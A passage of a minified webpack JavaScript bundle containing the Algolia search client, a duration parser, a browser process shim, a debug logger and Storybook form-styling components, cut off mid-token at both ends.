315576e5*s;case"days":case"day":case"d":return s*i;case"hours":case"hour":case"hrs":case"hr":case"h":return s*o;case"minutes":case"minute":case"mins":case"min":case"m":return s*r;case"seconds":case"second":case"secs":case"sec":case"s":return s*n;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return s;default:return}}(e);if("number"===c&&!1===isNaN(e))return t.long?s(a=e,i,"day")||s(a,o,"hour")||s(a,r,"minute")||s(a,n,"second")||a+" ms":function(e){if(e>=i)return Math.round(e/i)+"d";if(e>=o)return Math.round(e/o)+"h";if(e>=r)return Math.round(e/r)+"m";if(e>=n)return Math.round(e/n)+"s";return e+"ms"}(e);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(e))}},DSYg:function(e,t,n){"use strict";function r(e){arguments.length>1&&void 0!==arguments[1]&&arguments[1]}n.d(t,"a",(function(){return r}))},F63i:function(e,t){var n,r,o=e.exports={};function i(){throw new Error("setTimeout has not been defined")}function s(){throw new Error("clearTimeout has not been defined")}function a(e){if(n===setTimeout)return setTimeout(e,0);if((n===i||!n)&&setTimeout)return n=setTimeout,setTimeout(e,0);try{return n(e,0)}catch(t){try{return n.call(null,e,0)}catch(t){return n.call(this,e,0)}}}!function(){try{n="function"==typeof setTimeout?setTimeout:i}catch(e){n=i}try{r="function"==typeof clearTimeout?clearTimeout:s}catch(e){r=s}}();var c,u=[],l=!1,p=-1;function d(){l&&c&&(l=!1,c.length?u=c.concat(u):p=-1,u.length&&h())}function h(){if(!l){var e=a(d);l=!0;for(var t=u.length;t;){for(c=u,u=[];++p<t;)c&&c[p].run();p=-1,t=u.length}c=null,l=!1,function(e){if(r===clearTimeout)return clearTimeout(e);if((r===s||!r)&&clearTimeout)return r=clearTimeout,clearTimeout(e);try{r(e)}catch(t){try{return r.call(null,e)}catch(t){return r.call(this,e)}}}(e)}}function f(e,t){this.fun=e,this.array=t}function m(){}o.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];u.push(new f(e,t)),1!==u.length||l||a(h)},f.prototype.run=function(){this.fun.apply(null,this.array)},o.title="browser",o.browser=!0,o.env={},o.argv=[],o.version="",o.versions={},o.on=m,o.addListener=m,o.once=m,o.off=m,o.removeListener=m,o.removeAllListeners=m,o.emit=m,o.prependListener=m,o.prependOnceListener=m,o.listeners=function(e){return[]},o.binding=function(e){throw new Error("process.binding is not supported")},o.cwd=function(){return"/"},o.chdir=function(e){throw new Error("process.chdir is not supported")},o.umask=function(){return 0}},FOVt:function(e,t,n){var r=n("1vt9");e.exports=function e(t){var n=Array.prototype.slice.call(arguments);return r(n,(function(n){for(var r in n)n.hasOwnProperty(r)&&("object"==typeof t[r]&&"object"==typeof n[r]?t[r]=e({},t[r],n[r]):void 0!==n[r]&&(t[r]=n[r]))})),t}},Ffun:function(e,t,n){"use strict";e.exports=function(e,t,n){if("GET"!==t.method)return void n(new Error("Method "+t.method+" "+e+" is not supported by JSONP."));t.debug("JSONP: start");var i=!1,s=!1;o+=1;var a=document.getElementsByTagName("head")[0],c=document.createElement("script"),u="algoliaJSONP_"+o,l=!1;window[u]=function(e){!function(){try{delete window[u],delete window[u+"_loaded"]}catch(e){window[u]=window[u+"_loaded"]=void 0}}(),s?t.debug("JSONP: Late answer, ignoring"):(i=!0,h(),n(null,{body:e,responseText:JSON.stringify(e)}))},e+="&callback="+u,t.jsonBody&&t.jsonBody.params&&(e+="&"+t.jsonBody.params);var p=setTimeout((function(){t.debug("JSONP: Script timeout"),s=!0,h(),n(new r.RequestTimeout)}),t.timeouts.complete);function d(){t.debug("JSONP: success"),l||s||(l=!0,i||(t.debug("JSONP: Fail. Script loaded but did not call the callback"),h(),n(new r.JSONPScriptFail)))}function h(){clearTimeout(p),c.onload=null,c.onreadystatechange=null,c.onerror=null,a.removeChild(c)}c.onreadystatechange=function(){"loaded"!==this.readyState&&"complete"!==this.readyState||d()},c.onload=d,c.onerror=function(){t.debug("JSONP: Script error"),l||s||(h(),n(new r.JSONPScriptError))},c.async=!0,c.defer=!0,c.src=e,a.appendChild(c)};var r=n("UVGb"),o=0},HlhX:function(e,t,n){e.exports=function(e,t){var r=n("ey2t"),o=n("1vt9"),i={};return o(r(e),(function(n){!0!==t(n)&&(i[n]=e[n])})),i}},I6BR:function(e,t,n){"use strict";var r=n("NyMY"),o=r.Promise||n("co5t").Promise;e.exports=function(e,t){var i=n("qW1w"),s=n("UVGb"),a=n("c2LU"),c=n("Ffun"),u=n("js4a");function l(e,t,r){return(r=n("R4rC")(r||{}))._ua=r._ua||l.ua,new d(e,t,r)}t=t||"",l.version=n("3rmo"),l.ua="Algolia for JavaScript ("+l.version+"); "+t,l.initPlaces=u(l),r.__algolia={debug:n("XeMy"),algoliasearch:l};var p={hasXMLHttpRequest:"XMLHttpRequest"in r,hasXDomainRequest:"XDomainRequest"in r};function d(){e.apply(this,arguments)}return p.hasXMLHttpRequest&&(p.cors="withCredentials"in new XMLHttpRequest),i(d,e),d.prototype._request=function(e,t){return new o((function(n,r){if(p.cors||p.hasXDomainRequest){e=a(e,t.headers);var o,i,c=t.body,u=p.cors?new XMLHttpRequest:new XDomainRequest,l=!1;o=setTimeout(d,t.timeouts.connect),u.onprogress=function(){l||h()},"onreadystatechange"in u&&(u.onreadystatechange=function(){!l&&u.readyState>1&&h()}),u.onload=function(){if(i)return;var e;clearTimeout(o);try{e={body:JSON.parse(u.responseText),responseText:u.responseText,statusCode:u.status,headers:u.getAllResponseHeaders&&u.getAllResponseHeaders()||{}}}catch(t){e=new s.UnparsableJSON({more:u.responseText})}e instanceof s.UnparsableJSON?r(e):n(e)},u.onerror=function(e){if(i)return;clearTimeout(o),r(new s.Network({more:e}))},u instanceof XMLHttpRequest?(u.open(t.method,e,!0),t.forceAuthHeaders&&(u.setRequestHeader("x-algolia-application-id",t.headers["x-algolia-application-id"]),u.setRequestHeader("x-algolia-api-key",t.headers["x-algolia-api-key"]))):u.open(t.method,e),p.cors&&(c&&("POST"===t.method?u.setRequestHeader("content-type","application/x-www-form-urlencoded"):u.setRequestHeader("content-type","application/json")),u.setRequestHeader("accept","application/json")),c?u.send(c):u.send()}else r(new s.Network("CORS not supported"));function d(){i=!0,u.abort(),r(new s.RequestTimeout)}function h(){l=!0,clearTimeout(o),o=setTimeout(d,t.timeouts.complete)}}))},d.prototype._request.fallback=function(e,t){return e=a(e,t.headers),new o((function(n,r){c(e,t,(function(e,t){e?r(e):n(t)}))}))},d.prototype._promise={reject:function(e){return o.reject(e)},resolve:function(e){return o.resolve(e)},delay:function(e){return new o((function(t){setTimeout(t,e)}))},all:function(e){return o.all(e)}},l}},ItFn:function(e,t,n){"use strict";n.d(t,"a",(function(){return a})),n.d(t,"b",(function(){return l})),n.d(t,"c",(function(){return p})),n.d(t,"d",(function(){return u})),n.d(t,"e",(function(){return i})),n.d(t,"f",(function(){return s}));var r=n("teAW"),o=n("l1C2");var i=function(e,t){return{fontSize:(n=t,{L:n.fontSizes[2],M:n.fontSizes[1],S:n.fontSizes[0]})[e]};var n},s=function(e){return{color:e.colors.grey[90],lineHeight:e.lineHeights.dense,alignSelf:"center"}},a=function(){return Object(o.jsx)("span",{css:function(e){return{color:e.colors.grey[50],fontSize:e.fontSizes[0],marginLeft:e.space[1]}}},"(required)")},c=function(e,t){return{boxShadow:"0 0 0 3px ".concat(t?e.colors.red[10]:e.colors.purple[20]),borderColor:t?e.colors.red[30]:e.colors.purple[60]}},u=function(e,t){return{border:"1px solid ".concat(t?e.colors.red[60]:e.colors.grey[30]),background:e.colors.white,borderRadius:e.radii[2],color:e.colors.grey[90],fontFamily:e.fonts.system,fontSize:e.fontSizes[2],height:"2.25rem",padding:"0 ".concat(e.space[3]),position:"relative",width:"100%",zIndex:1,WebkitAppearance:"none",":focus":Object(r.c)({outline:"0",transition:"box-shadow 0.15s ease-in-out"},c(e,t)),":disabled":{background:e.colors.grey[10],cursor:"not-allowed"},"&:disabled::placeholder":{color:e.colors.grey[40]},"&::placeholder":{color:e.colors.grey[50]}}},l=function(e){return{color:e.colors.grey[50],fontSize:e.fontSizes[0],lineHeight:e.lineHeights.dense,position:"relative",zIndex:0}},p=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"vertical";return[{display:"grid",gridRowGap:e.space[2],gridColumnGap:e.space[4]},"horizontal"===t?{gridTemplateAreas:'\n "label control"\n "..... hint"\n "..... error"\n ',gridTemplateColumns:"30% 70%"}:{gridTemplateAreas:'\n "label"\n "control"\n "hint"\n "error"\n '}]};a.__docgenInfo={description:"",methods:[],displayName:"RequiredFlag"},"undefined"!=typeof STORYBOOK_REACT_CLASSES&&(STORYBOOK_REACT_CLASSES["src/components/form/components/FormField.helpers.tsx"]={name:"RequiredFlag",docgenInfo:a.__docgenInfo,path:"src/components/form/components/FormField.helpers.tsx"})},M7zf:function(e,t,n){e.exports=c;var r=n("UVGb"),o=n("r6ry"),i=n("bCkI"),s=n("4T2t"),a={}.RESET_APP_DATA_TIMER&&parseInt({}.RESET_APP_DATA_TIMER,10)||12e4;function c(e,t,o){var i=n("XeMy")("algoliasearch"),s=n("R4rC"),a=n("MQAF"),c=n("9c34"),l="Usage: algoliasearch(applicationID, apiKey, opts)";if(!0!==o._allowEmptyCredentials&&!e)throw new r.AlgoliaSearchError("Please provide an application ID. "+l);if(!0!==o._allowEmptyCredentials&&!t)throw new r.AlgoliaSearchError("Please provide an API key. "+l);this.applicationID=e,this.apiKey=t,this.hosts={read:[],write:[]},o=o||{},this._timeouts=o.timeouts||{connect:1e3,read:2e3,write:3e4},o.timeout&&(this._timeouts.connect=this._timeouts.read=this._timeouts.write=o.timeout);var p=o.protocol||"https:";if(/:$/.test(p)||(p+=":"),"http:"!==p&&"https:"!==p)throw new r.AlgoliaSearchError("protocol must be `http:` or `https:` (was `"+o.protocol+"`)");if(this._checkAppIdData(),o.hosts)a(o.hosts)?(this.hosts.read=s(o.hosts),this.hosts.write=s(o.hosts)):(this.hosts.read=s(o.hosts.read),this.hosts.write=s(o.hosts.write));else{var d=c(this._shuffleResult,(function(t){return e+"-"+t+".algolianet.com"})),h=(!1===o.dsn?"":"-dsn")+".algolia.net";this.hosts.read=[this.applicationID+h].concat(d),this.hosts.write=[this.applicationID+".algolia.net"].concat(d)}this.hosts.read=c(this.hosts.read,u(p)),this.hosts.write=c(this.hosts.write,u(p)),this.extraHeaders={},this.cache=o._cache||{},this._ua=o._ua,this._useCache=!(void 0!==o._useCache&&!o._cache)||o._useCache,this._useRequestCache=this._useCache&&o._useRequestCache,this._useFallback=void 0===o.useFallback||o.useFallback,this._setTimeout=o._setTimeout,i("init done, %j",this)}function u(e){return function(t){return e+"//"+t.toLowerCase()}}function l(e){if(void 0===Array.prototype.toJSON)return JSON.stringify(e);var t=Array.prototype.toJSON;delete Array.prototype.toJSON;var n=JSON.stringify(e);return Array.prototype.toJSON=t,n}function p(e){var t={};for(var n in e){var r;if(Object.prototype.hasOwnProperty.call(e,n))r="x-algolia-api-key"===n||"x-algolia-application-id"===n?"**hidden for security purposes**":e[n],t[n]=r}return t}c.prototype.initIndex=function(e){return new i(this,e)},c.prototype.setExtraHeader=function(e,t){this.extraHeaders[e.toLowerCase()]=t},c.prototype.getExtraHeader=function(e){return this.extraHeaders[e.toLowerCase()]},c.prototype.unsetExtraHeader=function(e){delete this.extraHeaders[e.toLowerCase()]},c.prototype.addAlgoliaAgent=function(e){var t="; "+e;-1===this._ua.indexOf(t)&&(this._ua+=t)},c.prototype._jsonRequest=function(e){this._checkAppIdData();var t,i,s,a=n("XeMy")("algoliasearch:"+e.url),c=e.additionalUA||"",u=e.cache,d=this,h=0,f=!1,m=d._useFallback&&d._request.fallback&&e.fallback;this.apiKey.length>500&&void 0!==e.body&&(void 0!==e.body.params||void 0!==e.body.requests)?(e.body.apiKey=this.apiKey,s=this._computeRequestHeaders({additionalUA:c,withApiKey:!1,headers:e.headers})):s=this._computeRequestHeaders({additionalUA:c,headers:e.headers}),void 0!==e.body&&(t=l(e.body)),a("request start");var y=[];function v(e,t,n){return d._useCache&&e&&t&&void 0!==t[n]}function g(t,n){if(v(d._useRequestCache,u,i)&&t.catch((function(){delete u[i]})),"function"!=typeof e.callback)return t.then(n);t.then((function(t){o((function(){e.callback(null,n(t))}),d._setTimeout||setTimeout)}),(function(t){o((function(){e.callback(t)}),d._setTimeout||setTimeout)}))}if(d._useCache&&d._useRequestCache&&(i=e.url),d._useCache&&d._useRequestCache&&t&&(i+="_body_"+t),v(d._useRequestCache,u,i)){a("serving request from cache");var b=u[i];return g("function"!=typeof b.then?d._promise.resolve({responseText:b}):b,(function(e){return JSON.parse(e.responseText)}))}var _=function n(o,g){d._checkAppIdData();var b=new Date;if(d._useCache&&!d._useRequestCache&&(i=e.url),d._useCache&&!d._useRequestCache&&t&&(i+="_body_"+g.body),v(!d._useRequestCache,u,i)){a("serving response from cache");var _=u[i];return d._promise.resolve({body:JSON.parse(_),responseText:_})}if(h>=d.hosts[e.hostType].length)return!m||f?(a("could not get any response"),d._promise.reject(new r.AlgoliaSearchError("Cannot connect to the AlgoliaSearch API. Send an email to support@algolia.com to report and resolve the issue. Application id was: "+d.applicationID,{debugData:y}))):(a("switching to fallback"),h=0,g.method=e.fallback.method,g.url=e.fallback.url,g.jsonBody=e.fallback.body,g.jsonBody&&(g.body=l(g.jsonBody)),s=d._computeRequestHeaders({additionalUA:c,headers:e.headers}),g.timeouts=d._getTimeoutsForRequest(e.hostType),d._setHostIndexByType(0,e.hostType),f=!0,n(d._request.fallback,g));var w=d._getHostByType(e.hostType),T=w+g.url,S={body:g.body,jsonBody:g.jsonBody,method:g.method,headers:s,timeouts:g.timeouts,debug:a,forceAuthHeaders:g.forceAuthHeaders};return a("method: %s, url: %s, headers: %j, timeouts: %d",S.method,T,S.headers,S.timeouts),o===d._request.fallback&&a("using fallback"),o.call(d,T,S).then((function(e){var n=e&&e.body&&e.body.message&&e.body.status||e.statusCode||e&&e.body&&200;a("received response: statusCode: %s, computed statusCode: %d, headers: %j",e.statusCode,n,e.headers);var o=2===Math.floor(n/100),c=new Date;if(y.push({currentHost:w,headers:p(s),content:t||null,contentLength:void 0!==t?t.length:null,method:g.method,timeouts:g.timeouts,url:g.url,startTime:b,endTime:c,duration:c-b,statusCode:n}),o)return d._useCache&&!d._useRequestCache&&u&&(u[i]=e.responseText),{responseText:e.responseText,body:e.body};if(4!==Math.floor(n/100))return h+=1,x();a("unrecoverable error");var l=new r.AlgoliaSearchError(e.body&&e.body.message,{debugData:y,statusCode:n});return d._promise.reject(l)}),(function(i){a("error: %s, stack: %s",i.message,i.stack);var c=new Date;y.push({currentHost:w,headers:p(s),content:t||null,contentLength:void 0!==t?t.length:null,method:g.method,timeouts:g.timeouts,url:g.url,startTime:b,endTime:c,duration:c-b}),i instanceof r.AlgoliaSearchError||(i=new r.Unknown(i&&i.message,i));if(h+=1,i instanceof r.Unknown||i instanceof r.UnparsableJSON||h>=d.hosts[e.hostType].length&&(f||!m))return i.debugData=y,d._promise.reject(i);if(i instanceof r.RequestTimeout)return a("retrying request with higher timeout"),d._incrementHostIndex(e.hostType),d._incrementTimeoutMultipler(),g.timeouts=d._getTimeoutsForRequest(e.hostType),n(o,g);return x()}));function x(){return a("retrying request"),d._incrementHostIndex(e.hostType),n(o,g)}}(d._request,{url:e.url,method:e.method,body:t,jsonBody:e.body,timeouts:d._getTimeoutsForRequest(e.hostType),forceAuthHeaders:e.forceAuthHeaders});return d._useCache&&d._useRequestCache&&u&&(u[i]=_),g(_,(function(e){return e.body}))},c.prototype._getSearchParams=function(e,t){if(null==e)return t;for(var n in e)null!==n&&void 0!==e[n]&&e.hasOwnProperty(n)&&(t+=""===t?"":"&",t+=n+"="+encodeURIComponent("[object Array]"===Object.prototype.toString.call(e[n])?l(e[n]):e[n]));return t},c.prototype._computeRequestHeaders=function(e){var t=n("1vt9"),r={"x-algolia-agent":e.additionalUA?this._ua+"; "+e.additionalUA:this._ua,"x-algolia-application-id":this.applicationID};return!1!==e.withApiKey&&(r["x-algolia-api-key"]=this.apiKey),this.userToken&&(r["x-algolia-usertoken"]=this.userToken),this.securityTags&&(r["x-algolia-tagfilters"]=this.securityTags),t(this.extraHeaders,(function(e,t){r[t]=e})),e.headers&&t(e.headers,(function(e,t){r[t]=e})),r},c.prototype.search=function(e,t,r){var o=n("MQAF"),i=n("9c34");if(!o(e))throw new Error("Usage: client.search(arrayOfQueries[, callback])");"function"==typeof t?(r=t,t={}):void 0===t&&(t={});var s=this,a={requests:i(e,(function(e){var t="";return void 0!==e.query&&(t+="query="+encodeURIComponent(e.query)),{indexName:e.indexName,params:s._getSearchParams(e.params,t)}}))},c=i(a.requests,(function(e,t){return t+"="+encodeURIComponent("/1/indexes/"+encodeURIComponent(e.indexName)+"?"+e.params)})).join("&");return void 0!==t.strategy&&(a.strategy=t.strategy),this._jsonRequest({cache:this.cache,method:"POST",url:"/1/indexes/*/queries",body:a,hostType:"read",fallback:{method:"GET",url:"/1/indexes/*",body:{params:c}},callback:r})},c.prototype.searchForFacetValues=function(e){var t=n("MQAF"),r=n("9c34"),o="Usage: client.searchForFacetValues([{indexName, params: {facetName, facetQuery, ...params}}, ...queries])";if(!t(e))throw new Error(o);var i=this;return i._promise.all(r(e,(function(e){if(!e||void 0===e.indexName||void 0===e.params.facetName||void 0===e.params.facetQuery)throw new Error(o);var t=n("R4rC"),r=n("HlhX"),s=e.indexName,a=e.params,c=a.facetName,u=r(t(a),(function(e){return"facetName"===e})),l=i._getSearchParams(u,"");return i._jsonRequest({cache:i.cache,method:"POST",url:"/1/indexes/"+encodeURIComponent(s)+"/facets/"+encodeURIComponent(c)+"/query",hostType:"read",body:{params:l}})})))},c.prototype.setSecurityTags=function(e){if("[object Array]"===Object.prototype.toString.call(e)){for(var t=[],n=0;n<e.length;++n)if("[object Array]"===Object.prototype.toString.call(e[n])){for(var r=[],o=0;o<e[n].length;++o)r.push(e[n][o]);t.push("("+r.join(",")+")")}else t.push(e[n]);e=t.join(",")}this.securityTags=e},c.prototype.setUserToken=function(e){this.userToken=e},c.prototype.clearCache=function(){this.cache={}},c.prototype.setRequestTimeout=function(e){e&&(this._timeouts.connect=this._timeouts.read=this._timeouts.write=e)},c.prototype.setTimeouts=function(e){this._timeouts=e},c.prototype.getTimeouts=function(){return this._timeouts},c.prototype._getAppIdData=function(){var e=s.get(this.applicationID);return null!==e&&this._cacheAppIdData(e),e},c.prototype._setAppIdData=function(e){return e.lastChange=(new Date).getTime(),this._cacheAppIdData(e),s.set(this.applicationID,e)},c.prototype._checkAppIdData=function(){var e=this._getAppIdData(),t=(new Date).getTime();return null===e||t-e.lastChange>a?this._resetInitialAppIdData(e):e},c.prototype._resetInitialAppIdData=function(e){var t=e||{};return t.hostIndexes={read:0,write:0},t.timeoutMultiplier=1,t.shuffleResult=t.shuffleResult||function(e){var t,n,r=e.length;for(;0!==r;)n=Math.floor(Math.random()*r),t=e[r-=1],e[r]=e[n],e[n]=t;return e}([1,2,3]),this._setAppIdData(t)},c.prototype._cacheAppIdData=function(e){this._hostIndexes=e.hostIndexes,this._timeoutMultiplier=e.timeoutMultiplier,this._shuffleResult=e.shuffleResult},c.prototype._partialAppIdDataUpdate=function(e){var t=n("1vt9"),r=this._getAppIdData();return t(e,(function(e,t){r[t]=e})),this._setAppIdData(r)},c.prototype._getHostByType=function(e){return this.hosts[e][this._getHostIndexByType(e)]},c.prototype._getTimeoutMultiplier=function(){return this._timeoutMultiplier},c.prototype._getHostIndexByType=function(e){return this._hostIndexes[e]},c.prototype._setHostIndexByType=function(e,t){var r=n("R4rC")(this._hostIndexes);return r[t]=e,this._partialAppIdDataUpdate({hostIndexes:r}),e},c.prototype._incrementHostIndex=function(e){return this._setHostIndexByType((this._getHostIndexByType(e)+1)%this.hosts[e].length,e)},c.prototype._incrementTimeoutMultipler=function(){var e=Math.max(this._timeoutMultiplier+1,4);return this._partialAppIdDataUpdate({timeoutMultiplier:e})},c.prototype._getTimeoutsForRequest=function(e){return{connect:this._timeouts.connect*this._timeoutMultiplier,complete:this._timeouts[e]*this._timeoutMultiplier}}},MQAF:function(e,t){var n={}.toString;e.exports=Array.isArray||function(e){return"[object Array]"==n.call(e)}},NyMY:function(e,t,n){(function(t){var n;n="undefined"!=typeof window?window:void 0!==t?t:"undefined"!=typeof self?self:{},e.exports=n}).call(this,n("fRV1"))},R4rC:function(e,t){e.exports=function(e){return JSON.parse(JSON.stringify(e))}},TDXc:function(e,t,n){"use strict";n.d(t,"a",(function(){return o})),n.d(t,"b",(function(){return s})),n.d(t,"c",(function(){return i}));var r=n("DSYg");function o(e){void 0!==e&&Object(r.a)('Styling components via "customCss" prop is deprecated, please use Emotion "css" prop or pass a "className"')}function i(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];Object(r.a)("<".concat(e,'> and its subcomponents should be considered deprecated and replaced with "').concat(t?"useAriaFormGroupField":"useAriaFormField",'"'))}function s(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];Object(r.a)("\n<".concat(e,"> and its subcomponents should be considered deprecated and replaced with one of the following:\n - <").concat(e,"Block> (or <").concat(e.substring(0,e.indexOf("Field")),'ConnectedField> in Formik forms)\n - "').concat(t?"useAriaFormGroupField":"useAriaFormField",'" hook and a combination of styled form elements, such as <StyledInput>, <').concat(t?"FormLegend":"StyledLabel",">, <FormError>\n").trim())}},UVGb:function(e,t,n){"use strict";var r=n("qW1w");function o(e,t){var r=n("1vt9"),o=this;"function"==typeof Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):o.stack=(new Error).stack||"Cannot get a stacktrace, browser is too old",this.name="AlgoliaSearchError",this.message=e||"Unknown error",t&&r(t,(function(e,t){o[t]=e}))}function i(e,t){function n(){var n=Array.prototype.slice.call(arguments,0);"string"!=typeof n[0]&&n.unshift(t),o.apply(this,n),this.name="AlgoliaSearch"+e+"Error"}return r(n,o),n}r(o,Error),e.exports={AlgoliaSearchError:o,UnparsableJSON:i("UnparsableJSON","Could not parse the incoming response as JSON, see err.more for details"),RequestTimeout:i("RequestTimeout","Request timed out before getting a response"),Network:i("Network","Network issue, see err.more for details"),JSONPScriptFail:i("JSONPScriptFail","<script> was loaded but did not call our provided callback"),ValidUntilNotFound:i("ValidUntilNotFound","The SecuredAPIKey does not have a validUntil parameter."),JSONPScriptError:i("JSONPScriptError","<script> unable to load due to an `error` event on it"),ObjectNotFound:i("ObjectNotFound","Object not found"),Unknown:i("Unknown","Unknown error occured")}},XeMy:function(e,t,n){(function(r){function o(){var e;try{e=t.storage.debug}catch(n){}return!e&&void 0!==r&&"env"in r&&(e={}.DEBUG),e}(t=e.exports=n("3Oog")).log=function(){return"object"==typeof console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)},t.formatArgs=function(e){var n=this.useColors;if(e[0]=(n?"%c":"")+this.namespace+(n?" %c":" ")+e[0]+(n?"%c ":" ")+"+"+t.humanize(this.diff),!n)return;var r="color: "+this.color;e.splice(1,0,r,"color: inherit");var o=0,i=0;e[0].replace(/%[a-zA-Z%]/g,(function(e){"%%"!==e&&(o++,"%c"===e&&(i=o))})),e.splice(i,0,r)},t.save=function(e){try{null==e?t.storage.removeItem("debug"):t.storage.debug=e}catch(n){}},t.load=o,t.useColors=function(){if("undefined"!=typeof window&&window.process&&"renderer"===window.process.type)return!0;return"undefined"!=typeof document&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||"undefined"!=typeof window&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/)},t.storage="undefined"!=typeof chrome&&void 0!==chrome.storage?chrome.storage.local:function(){try{return window.localStorage}catch(e){}}(),t.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"],t.formatters.j=function(e){try{return JSON.stringify(e)}catch(t){return"[UnexpectedJSONParseError]: "+t.message}},t.enable(o())}).call(this,n("F63i"))},b2FX:function(e,t,n){e.exports=function(e,t){return function(n,o,i){if("function"==typeof n&&"object"==typeof o||"object"==typeof i)throw new r.AlgoliaSearchError("index.search usage is index.search(query, params, cb)");0===arguments.length||"function"==typeof n?(i=n,n=""):1!==arguments.length&&"function"!=typeof o||(i=o,o=void 0),"object"==typeof n&&null!==n?(o=n,n=void 0):null==n&&(n="");var s,a="";return void 0!==n&&(a+=e+"="+encodeURIComponent(n)),void 0!==o&&(o.additionalUA&&(s=o.additionalUA,delete o.additionalUA),a=this.as._getSearchParams(o,a)),this._search(a,t,i,s)}};var r=n("UVGb")},bCkI:function(e,t,n){var r=n("b2FX"),o=n("x4NP"),i=n("xxTz");function s(e,t){this.indexName=t,this.as=e,this.typeAheadArgs=null,this.typeAheadValueOption=null,this.cache={}}e.exports=s,s.prototype.clearCache=function(){this.cache={}},s.prototype.search=r("query"),s.prototype.similarSearch=o(r("similarQuery"),i("index.similarSearch(query[, callback])","index.search({ similarQuery: query }[, callback])")),s.prototype.browse=function(e,t,r){var o,i,s=n("FOVt"),a=this;0===arguments.length||1===arguments.length&&"function"==typeof arguments[0]?(o=0,r=arguments[0],e=void 0):"number"==typeof arguments[0]?(o=arguments[0],"number"==typeof arguments[1]?i=arguments[1]:"function"==typeof arguments[1]&&(r=arguments[1],i=void 0),e=void 0,t=void 0):"object"==typeof arguments[0]?("function"==typeof arguments[1]&&(r=arguments[1]),t=arguments[0],e=void 0):"string"==typeof arguments[0]&&"function"==typeof arguments[1]&&(r=arguments[1],t=void 0),t=s({},t||{},{page:o,hitsPerPage:i,query:e});var c=this.as._getSearchParams(t,"");return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(a.indexName)+"/browse",body:{params:c},hostType:"read",callback:r})},s.prototype.browseFrom=function(e,t){return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/browse",body:{cursor:e},hostType:"read",callback:t})},s.prototype.searchForFacetValues=function(e,t){var r=n("R4rC"),o=n("HlhX");if(void 0===e.facetName||void 0===e.facetQuery)throw new Error("Usage: index.searchForFacetValues({facetName, facetQuery, ...params}[, callback])");var i=e.facetName,s=o(r(e),(function(e){return"facetName"===e})),a=this.as._getSearchParams(s,"");return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/facets/"+encodeURIComponent(i)+"/query",hostType:"read",body:{params:a},callback:t})},s.prototype.searchFacet=o((function(e,t){return this.searchForFacetValues(e,t)}),i("index.searchFacet(params[, callback])","index.searchForFacetValues(params[, callback])")),s.prototype._search=function(e,t,n,r){return this.as._jsonRequest({cache:this.cache,method:"POST",url:t||"/1/indexes/"+encodeURIComponent(this.indexName)+"/query",body:{params:e},hostType:"read",fallback:{method:"GET",url:"/1/indexes/"+encodeURIComponent(this.indexName),body:{params:e}},callback:n,additionalUA:r})},s.prototype.getObject=function(e,t,n){var r=this;1!==arguments.length&&"function"!=typeof t||(n=t,t=void 0);var o="";if(void 0!==t){o="?attributes=";for(var i=0;i<t.length;++i)0!==i&&(o+=","),o+=t[i]}return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(r.indexName)+"/"+encodeURIComponent(e)+o,hostType:"read",callback:n})},s.prototype.getObjects=function(e,t,r){var o=n("MQAF"),i=n("9c34"),s="Usage: index.getObjects(arrayOfObjectIDs[, callback])";if(!o(e))throw new Error(s);var a=this;1!==arguments.length&&"function"!=typeof t||(r=t,t=void 0);var c={requests:i(e,(function(e){var n={indexName:a.indexName,objectID:e};return t&&(n.attributesToRetrieve=t.join(",")),n}))};return this.as._jsonRequest({method:"POST",url:"/1/indexes/*/objects",hostType:"read",body:c,callback:r})},s.prototype.as=null,s.prototype.indexName=null,s.prototype.typeAheadArgs=null,s.prototype.typeAheadValueOption=null},bbWX:function(e,t,n){"use strict";n.d(t,"a",(function(){return s}));var r=n("teAW"),o=n("l1C2"),i=n("VGtJ");function s(e){for(var t=e.size,n=e.direction,s=void 0===n?"vertical":n,a=e.responsiveSize,c=void 0===a?{}:a,u=e.responsiveDirection,l=void 0===u?{}:u,p=e.className,d=Object(i.b)(),h={},f=0,m=Object.keys(d.mediaQueries);f<m.length;f++){var y=m[f],v=c[y]||t,g=l[y]||s,b="horizontal"===g?"width":"height";h[d.mediaQueries[y]]=[Object(r.a)({},b,d.space[v]),"horizontal"===g?{display:"inline-block",height:"unset"}:{display:"block",width:"unset"}]}var _="horizontal"===s?"width":"height";return Object(o.jsx)("div",{css:[Object(r.a)({},_,d.space[t]),"horizontal"===s?{display:"inline-block",height:"unset"}:{display:"block",width:"unset"},h],"aria-hidden":!0,className:p})}s.__docgenInfo={description:"",methods:[],displayName:"Spacer",props:{direction:{defaultValue:{value:"`vertical`",computed:!1},required:!1,tsType:{name:"union",raw:"`horizontal` | `vertical`",elements:[{name:"literal",value:"undefined"},{name:"literal",value:"undefined"}]},description:""},responsiveSize:{defaultValue:{value:"{}",computed:!1},required:!1,tsType:{name:"Partial",elements:[{name:"signature",type:"object",raw:"{\n [MediaBreakpoint in ThemeMediaBreakpoint]: SpacerSize\n}",signature:{properties:[{key:{name:"ThemeMediaBreakpoint",required:!0},value:{name:"ThemeSpace"}}]}}],raw:"Partial<\n {\n [MediaBreakpoint in ThemeMediaBreakpoint]: SpacerSize\n }\n>"},description:""},responsiveDirection:{defaultValue:{value:"{}",computed:!1},required:!1,tsType:{name:"Partial",elements:[{name:"signature",type:"object",raw:"{\n [MediaBreakpoint in 